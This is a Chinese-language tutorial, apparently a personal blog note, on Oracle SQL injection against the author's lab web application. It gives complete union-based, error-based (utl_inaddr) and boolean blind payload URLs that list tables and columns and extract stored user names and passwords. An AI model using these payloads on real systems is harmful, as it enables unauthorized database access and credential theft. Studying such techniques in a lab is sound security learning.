目录
3. 单行子查询返回多行需使用 where rownum=1来规范
前言
近日学习了Oracle的注入,写这篇文章主要当作自己的笔记,也希望能成为大家的参考。
一、Oracle的获取数据的基本技巧
1.特殊表
• dual表
◆ 是一个虚拟的表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录。
• user_tables表
◆ 该表的table_name列存放着当前数据库的所有表。
• user_tab_columns表
◆ 该表的column_name 存放着表的所有列。
2. Oracle查询需要带上表名
• 如select * from xxx (有一个万能的表:dual表)。
3. 单行子查询返回多行需使用 where rownum=1来规范
• rownum 是伪序列数,总是从1开始。
• oracle数据库从数据文件或缓冲区中读取数据的顺序。
• 它取得第一条记录则rownum值为1,第二条为2,依次类推。
4.一些基本的后续注入需要用到的内置函数
1. length()用法:
length(char) :返回字符串的长度。
2. COUNT(*)用法:
COUNT(*) 函数,返回在给定的选择中被选的行数。
3. ascii()用法:
ascii(char) 表示将字符转换为ASCII码。
4. SUBSTR用法:
SUBSTR( 源字符串, 查找起始位置, [ 长度 ] )返回值为源字符串中指定起始位置和长度的字符串。
5. INSTR用法:
INSTR(源字符串, 要查找的字符串, 从第几个字符开始, 要找到第几个匹配的序号)返回找到的位置,如果找不到则返 回0. 默认查找顺序为从左到右。当起始位置为负数的时候,从右边开始查找。若起始位置为0,返回值为0。
还有一些函数在后续的文章用到时解释。
二、各基本注入类型基本步骤
环境为VMware上的以win2003为系统 jsp+Oracle的简易网页。
1.oracle联合查询注入
1.寻找注入点
这一步在我的实验环境中表现的很明显,但是在真实环境中,还是需要找到合适的注入点,基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
在手动添加了一条数据过后,通过构造不同的payload,我们发现url是存在注入漏洞的,我们输入的payload达到了它的效果。
3.判断列数
Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中的一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
在order by 3时页面正常,但是在order by 4 时页面出现错误,因此该查询表的列数为3
4.Oracle联合查询
跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。
接下里我们首先查看回显位
http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。
我们看到三个列全部会回显在页面上
下面我们还要通过更改null判断各个回显位的数据类型
http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据
select user from dual 获取用户名
http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
select banner from sys.v_$version where rownum=1 获取版本
http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
查看下一行表名
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
没有其他的表,只有T_USER
如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值
因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询
10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
获取数据
因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。
2.Oracle报错注入
1.寻找注入点
当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。
2.报错注入
Oracle报错注入——类型转换错误和报错函数。
payload:1=utl_inaddr.get_host_name((SQL语句))
查询结果: ORA-29257: 未知的主机 结果
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。
跟联合查询用到的相同的语句查到接下来的列名,数据
下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码。
我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦
3.Oracle布尔盲注
1.寻找注入点
使用条件:HTTP返回包中没有执行结果的数据和报错信息。
当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。
跟上面两种注入一样寻找注入点。
Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。
要注意的是在截断函数中长度是包含开始截取位置那一位的。
2.Oracle布尔盲注
步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。
我们在拿一个数据时,比如说表名,我们需要先判断他的长度
10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名
如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。
所有数据均可使用同样的方法获取
总结
以上就是我在Oracle注入方面的学习,如有错误,多多包涵,欢迎指出。